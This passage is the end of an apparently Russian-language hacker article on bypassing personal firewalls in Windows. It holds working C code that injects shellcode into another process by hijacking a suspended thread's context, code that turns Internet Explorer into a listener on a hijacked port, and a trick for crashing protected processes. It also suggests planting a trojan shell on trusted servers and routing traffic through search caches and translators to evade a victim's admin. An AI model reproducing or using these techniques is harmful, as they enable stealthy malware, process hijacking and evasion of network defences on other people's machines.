                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	HANDLE hToken;
	DWORD dwReturn;

	CONTEXT Context;

	INF info = { 		
		NULL, // GetModuleHandle 
		NULL, // GetProcAddress 
		NULL, // LoadLibrary 

		//строки:
		"Hello world!",

		//модули
		"user32.dll",

		//функции
		"MessageBoxA"
	}; 

	//адрес начала нашего кода 
	PDWORD pdwCodeRemote = NULL; 
	
	// адрес, куда будем копировать данные:
	INF *pInjLibInfoRemote = NULL; 

	//заполняем нужные адреса:
	HMODULE hKernel32; 
	hKernel32 = GetModuleHandle ("kernel32.dll"); 

	info.GetModuleHandle	= (func_GetModuleHandle)	GetProcAddress (hKernel32, "GetModuleHandleA");
	info.GetProcAddress		= (func_GetProcAddress)	GetProcAddress (hKernel32, "GetProcAddress");
	info.LoadLibrary		= (func_LoadLibrary)	GetProcAddress (hKernel32, "LoadLibraryA");
	
	//константы размеров
	int cbDataSize = sizeof (INF);
	int cbCodeSize = ((unsigned)AfterThreadFunc-(unsigned)ThreadFunc);
	DWORD cbFullMemSize = cbCodeSize + cbDataSize;

	//адрес возврата в основной процесс:
	DWORD	ret_addr;

	cbCodeSize|=(cbCodeSize+3)&~3;

	if (OpenProcessToken (GetCurrentProcess (), 0x020, &hToken)){

		if (SetPrivilege (hToken,"SeDebugPrivilege", true)){

			if (GetPT ()){

					//теперь имеея хэндлы процесса и его главного треда тормознём этот тред =)
					dwReturn = SuspendThread(pinf.hThread);

					while (dwReturn != 0){
						if (ResumeThread (pinf.hThread) == 1)
							break;
					}

					//теперь приложение застопорилось и самое время начать внедрение кода:

					//получаем CONTEXT:
					Context.ContextFlags = CONTEXT_CONTROL; 
					GetThreadContext (pinf.hThread, &Context);

					pdwCodeRemote = (PDWORD)VirtualAllocEx (pinf.hProcess, 0, cbFullMemSize, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
					pInjLibInfoRemote = (INF *)(pdwCodeRemote + cbCodeSize);

					//записываем наш код и данные:
					WriteProcessMemory (pinf.hProcess, pdwCodeRemote, ThreadFunc, cbCodeSize, 0);
					WriteProcessMemory (pinf.hProcess, pInjLibInfoRemote, &info, cbDataSize, 0);
					
					//в ret_addr текущее значение EIP - это адрес а который мы вернёмся
					ret_addr = Context.Eip;
					
					//"кладём в стек" адрес параметра для нашей функции
					WriteProcessMemory (pinf.hProcess, (void*)Context.Esp, &pInjLibInfoRemote, sizeof (unsigned), 0);

					//кладём в стек адрес возврата - настоящий EIP процесса
					Context.Esp-=4;
					WriteProcessMemory (pinf.hProcess, (void*)Context.Esp, &ret_addr, sizeof (unsigned), 0);
					
					//устанаврливаем EIP на наш код:
					Context.Eip = (DWORD)pdwCodeRemote;
					SetThreadContext (pinf.hThread, &Context);

					// поехали:
					ResumeThread (pinf.hThread);

					Sleep (1000); 
			}

			CloseHandle (hProcess);
			CloseHandle (hThread);
		}

		CloseHandle (hToken);
	}
	return 0; 
}
Конечно данная техника применима не только для обхода фаеров - она является универсальной для всех видов хакерских (и не только програм) - например с помощью неё можно скрыть свой процесс (другой частый вопрос волнующий общественность наравне с обходом фаеров).

Модифицируем Internet Exploer из браузера в прокси сервер на нестандартном порту

Казалось бы если personal firewall не способен сдержать программы изнутри, то снаружи он уж должен сдерживать нежелательный трафик. Должен - но некоторые неответвенные гражданни любят сидеть в аське или мирке не задумываясь о том что у них открыты наружу некоторые порты. Так почему бы нам не захватить контроль над этими портами ? В данном случае видится 2 способа захвата (примое внедрение кода и dll отследит сам firewall): ошибка переполнения буффера и внедрение кода вышеописанными методами. Про переполнение буффера я писать не буду, поэтому остановимся на уже вышерасмотренном алгоритме внедрения, но модифицируем его так что бы мы заняли нужный нам порт. Думаете это невозможно ? Ошибаетесь =) Как было отмеченно выше - в Microsoft работают вовсе не глупые ребята ;)

Если посмотреть на описание сетевых функций, то можно увидить многообещающее название - setsockopt:

int setsockopt (
  SOCKET s,                 
  int level,                
  int optname,              
  const char FAR *optval,  
  int optlen                
);
данная функция позволяет нам менять некоторые параметры сокета. Например задав параметр optname = SO_REUSEADDR (для уровня (level) SOL_SOCKET) равным TRUE мы сможем повторно сделать bind на порт, который не блокируется Firewall'ом. Хотя в заголовок данного пункта и вынесен IE - но вы вполне сможете модифицировать подобным образом аську, irc-клиент, веб-сервер...да и вообще любое приложение, которое ожидает подключений на опредлённом порту. Давайте внесём очередные модификации в наш код - добавим функции и дополнительные поля к структуре:
typedef int (__stdcall *func_setsockopt) (SOCKET s, int level, int optname,const char FAR *optval, int optlen);
typedef int (__stdcall *func_bind) (SOCKET s, const struct sockaddr FAR *name, int namelen);
typedef int (__stdcall *func_listen) (SOCKET s, int backlog);
typedef int (__stdcall *func_shutdown) (SOCKET s, int how);
typedef SOCKET (__stdcall *func_accept) (SOCKET s, struct sockaddr FAR *addr, int FAR *addrlen);

//структура данных, которую мы передадим в процесс:
typedef struct _tag_inj_info { 
	func_GetModuleHandle GetModuleHandle; 

	....

	char szSetsockopt[32];
	char szBind[32];
	char szListen[32];
	char szShutDown[32];
	char szAccept[32];
} INF ; 

...

	//заполняем структуру необходимыми данными:
	INF info = { 
		// адреса функций, они будут одинаковы в любом процессе:
		NULL, // GetModuleHandle
		
		...

		"setsockopt",
		"bind",
		"listen",
		"shutdown",
		"accept"
	}; 
А теперь заставим IE превратится в сервер на порту 1375 (Web Folders Connections - как обозначенно в Outpost'е) - правда не в прокси (это удовольствие я оставлю вам - модифицировать нужно будет немногое - главное помните что вы работает в адресном пространстве другого процесса поэтому аккуратнее с созданием новых тредов особенно из С;) - мы же превратим мощный Exploer в убогий эхо сервер (а ведь такие фокусы возможно проделывать не только с клиентским, но и с серверным софтом;), который сможет обрабатывать подключения только одного клиента:

// Внедряемая функция:
static DWORD WINAPI ThreadFunc (INF *info){ 
	HMODULE hUser32, hWinSock32; 

	//функции из User32 
	func_MessageBox l_MessageBox;
	
	// Winsock2
	func_WSAStartup		l_WSAStartup;
	func_socket			l_socket;
	func_inet_addr		l_inet_addr;
	func_htons			l_htons;
	func_gethostbyname	l_gethostbyname;
	func_connect		l_connect;
	func_send			l_send;
	func_recv			l_recv;
	func_closesocket	l_closesocket;
	func_WSACleanup		l_WSACleanup;
	func_setsockopt		l_setsockopt;
	func_bind			l_bind;
	func_listen			l_listen;
	func_shutdown		l_shutdown;
	func_accept			l_accept;

	WSADATA wsa;
	SOCKET s, sClient;
	struct sockaddr_in sa, client;
	char buf [255];
	int ret, iAddrSize;
	BOOL bReuse = TRUE;


	// заполняем адреса:
	hUser32 = info->GetModuleHandle (info->szUser32); 
	if (hUser32 == NULL) 
		hUser32 = info->LoadLibrary (info->szUser32); 
	if (hUser32 == NULL) 
		return 1; 
	
	//получаем адресс MessageBoxA:
	l_MessageBox	= (func_MessageBox) info->GetProcAddress  (hUser32, info->szMessageBox); 

	//выводим Hello, world!
	l_MessageBox (NULL, info->szHello, info->szHello, MB_OK); 

	//загружаем winsock:
	hWinSock32 = info->GetModuleHandle (info->szWSock32); 
	if (hWinSock32 == NULL) 
		hWinSock32 = info->LoadLibrary (info->szWSock32); 
	if (hWinSock32 == NULL) 
		return 1; 

	//получаем требуемые функции:
	l_WSAStartup	=	(func_WSAStartup)	info->GetProcAddress (hWinSock32, info->szWSAStartup);
	l_socket		=	(func_socket)		info->GetProcAddress (hWinSock32, info->szSocket);
	l_inet_addr	=	(func_inet_addr)		info->GetProcAddress (hWinSock32, info->szInet_Addr);
	l_htons		=	(func_htons)		info->GetProcAddress (hWinSock32, info->szHtons);
	l_connect	=	(func_connect)		info->GetProcAddress (hWinSock32, info->szConnect);
	l_send		=	(func_send)		info->GetProcAddress (hWinSock32, info->szSend);
	l_recv		=	(func_recv)		info->GetProcAddress (hWinSock32, info->szRecv);
	l_closesocket	=	(func_closesocket)		info->GetProcAddress (hWinSock32, info->szCloseSocket);
	l_WSACleanup	=	(func_WSACleanup)	info->GetProcAddress (hWinSock32, info->szWSACleanup);
	l_gethostbyname	=	(func_gethostbyname)	info->GetProcAddress (hWinSock32, info->szGetHostByName);
	l_setsockopt	=	(func_setsockopt)		info->GetProcAddress (hWinSock32, info->szSetsockopt);
	l_bind		=	(func_bind)		info->GetProcAddress (hWinSock32, info->szBind);
	l_listen		=	(func_listen)		info->GetProcAddress (hWinSock32, info->szListen);
	l_shutdown	=	(func_shutdown)		info->GetProcAddress (hWinSock32, info->szShutDown);
	l_accept		=	(func_accept)		info->GetProcAddress (hWinSock32, info->szAccept);

	//поехали =)
	l_WSAStartup(MAKEWORD(2,2), &wsa);

	//создаём сокет
	s = l_socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);

	// присваиваем атрибут SO_REUSEADDR
	if (l_setsockopt(s, SOL_SOCKET , SO_REUSEADDR , (char *)&bReuse, sizeof (BOOL))) 
		return 4;

	sa.sin_family		= AF_INET;
	sa.sin_addr.s_addr	= INADDR_ANY; 
	sa.sin_port			= l_htons(1375);//будем слушать 1375 порт 

	if (l_bind (s, (struct sockaddr *)&sa, sizeof (sa)) != SOCKET_ERROR){
		
		l_listen (s, 8);

		//висим в бесконечном цикле ожидая подключения клиентов:

		while (1){
			iAddrSize = sizeof (client);
			sClient = l_accept (s, (struct sockaddr *)&client, &iAddrSize);

			if (sClient == INVALID_SOCKET)
				break;
			
			while (1){
				ret = l_recv (sClient, buf, 255, 0);

				//разрываем соединение, если сообщение начинается с Q
				if (buf[0] == 'Q'){
					l_shutdown (sClient, SD_BOTH);
					break;
				}
				
				//если захотите напечатать или ещё что-нить
				// не забудьте сделать это:
				buf[ret] = '\0';

				l_send (sClient, buf, ret, 0);
			}
				
		}

		l_closesocket (s);
		l_WSACleanup ();
	}
	else{
		return 3;
	}


	return 0; 
} 
Однако этот фокус может не сработать на каких-то приложениях - некоторые кодеры, всё же изредка почитывают документацию и поэтому присваивают сокету параметр SO_EXCLUSIVEADDRUSE - однако этот параметр появился только в Winsock2 (Win2k + последующие версии) и кроме того для его использования следует иметь права администратора (что не всегда верно для "клиентских" приложений к которым относится тот же IE), а так же его иногда невозможно использовать для больших серверных приложений. Ну и не забывайте о таком приёме - мы можем вырубить серверное приложение, которое использует эксклюзивный сокет, а после сразу же запустить - м внедрив код в момент запуска (смотри изменение через структуру CONTEXT в предыдущем разделе) с лёгкостью сможем первыми занять нужный порт. Что бы вырубить приложение (если оно "неубиваемое") можно выполнить примерно такой такой код (продолжая тему с любимым CONTEXT):
CONTEXT Context;

// приостанавливаем поток 
SuspendThread(hThread); 

// получаем регистры для контекста потока 
Context.ContextFlags = CONTEXT_CONTROL; 
GetThreadContext(hThread, &Context); 

// устанавливаем указатель команд по своему выбору; 
// в нашем примере присваиваем значение 0x00010000 
Context.Eip = 0x00010000; 

SetThreadContext(hThread, &Context); 

// возобновляем выполнение потока; оно начнется с адреса 0x00010000 

ResumeThread(hThread);
Что произойдёт ? Система ругнётся (если не ругнулась то всегда можно помять адрес) на ошибку защиты и аварийно завершит процес - наша задача только самим перезапустить процесс и скрыть сообщение об ошибке.

Higth-Level protection bypass

Ну и в завершение этой статьи хотелось бы написать пару о строк об обходе некоторых защит высокго уровня. Например прокси сервера - что делать если клиент использует прокси ? Да мы можем получить установки прокси в некоторых известных нам программах, но что делать с неизвестной ? Если прокси не требует авторизацию - тогда достаточно последить за соединениями, присутвующими в ситеме - простой анализирующий механизм самостоятельно может определить используется ли прокси. Для этого возможно либо писать сниффер, либо воспользоваться более высоко уровневыми функциями по типу используемых netstat. Это довольно не сложно - пример исходного текста программы, которая выводит информацию о текущих соединениях можно найти в архиве (не забывайте линковать с библиотекой iphlpapi.lib). Для этого служат функции получившие названия вспомогательных функций IP - с помощью них можно реализовать такие незаменимые администраторам утилиты как ipconfig, netstat, route и arp. В частности для получения информаци о TCP соединениях служит функция:

DWORD GetTcpTable (
  PMIB_TCPTABLE pTcpTable,    // buffer for the connection table
  PDWORD pdwSize,             // size of the buffer
  BOOL bOrder                 // sort the table?
  );
В результате работы которй в буфере можно получить набор структур с характеристиками текущих соединений:
typedef struct _MIB_TCPTABLE {
    DWORD      dwNumEntries;    // number of entries in the table 
    MIB_TCPROW table[ANY_SIZE]; // array of TCP connections 
} MIB_TCPTABLE, *PMIB_TCPTABLE;

typedef struct _MIB_TCPROW {
    DWORD       dwState;        // state of the connection
    DWORD       dwLocalAddr;    // address on local computer
    DWORD       dwLocalPort;    // port number on local computer
    DWORD       dwRemoteAddr;   // address on remote computer
    DWORD       dwRemotePort;   // port number on remote computer
} MIB_TCPROW, *PMIB_TCPROW; 
С другой стороны помимо проксей могут быть наложенны ограничения на посещаемые сайты - жертва например работает менеджером в конторе и админ ведёт списки разрешённых и запрещённых адресов - в этом случае нам помогут разнообразные веб-сервисы... Например поисковые сайты - вряд ли админ закрыл их - а ведь у каждого поисковика есть кэш из которого можно считать информацию (например основное тело вируса=) ...кроме того в интернете существует огромное количество разнообразных он-лайн переводчиков - это когда ты вводишь в форму адрес, а тебе на экран выдаётся перевод на выбранный язык - при этом соединение идёт именно с переводящим сервером... и это легальные способы - а ведь могут быть разнообразные ошибки в скриптах на разрешённых серверах, позволяющие инклудить внешние странички, либо возможно атаковав доверенный сервер (например форум к которому питает слабость админ) подсунуть туда троянский шелл-скрипт, через который ваша программа сможет общаться с внешним миром...но это уже тема следующей статьи ;)

Заключение

В данной стаье я попытался вообщем показать различные методы обходов personal firewall известных на сегодняшний день. Советую всем испытать свой фаер на прочность любым предложенным методом - и подумать насколько вы защищенны ;)

Ссылки и приложения к статье

Конечно данной статьёй тема обхода фаеров не ограничивается. В сети много статей, посвящённых этой проблемме. Однако в первую очередь я бы хотел обратить внимание на программерские ресурсы - именно листая статьи и форумы на таких сайтах часто натыкаешься на самые неожианные и интересные решения, которые могут помочь в решении проблемм.

Прежде всего это конечно же COM технология, к словам о которой я не привел ни строчки кода.

А теперь ссылки, непосредственно посвящённые обходу фаеров: Так же в архиве Архив к статье приведены следующие примеры:
back content next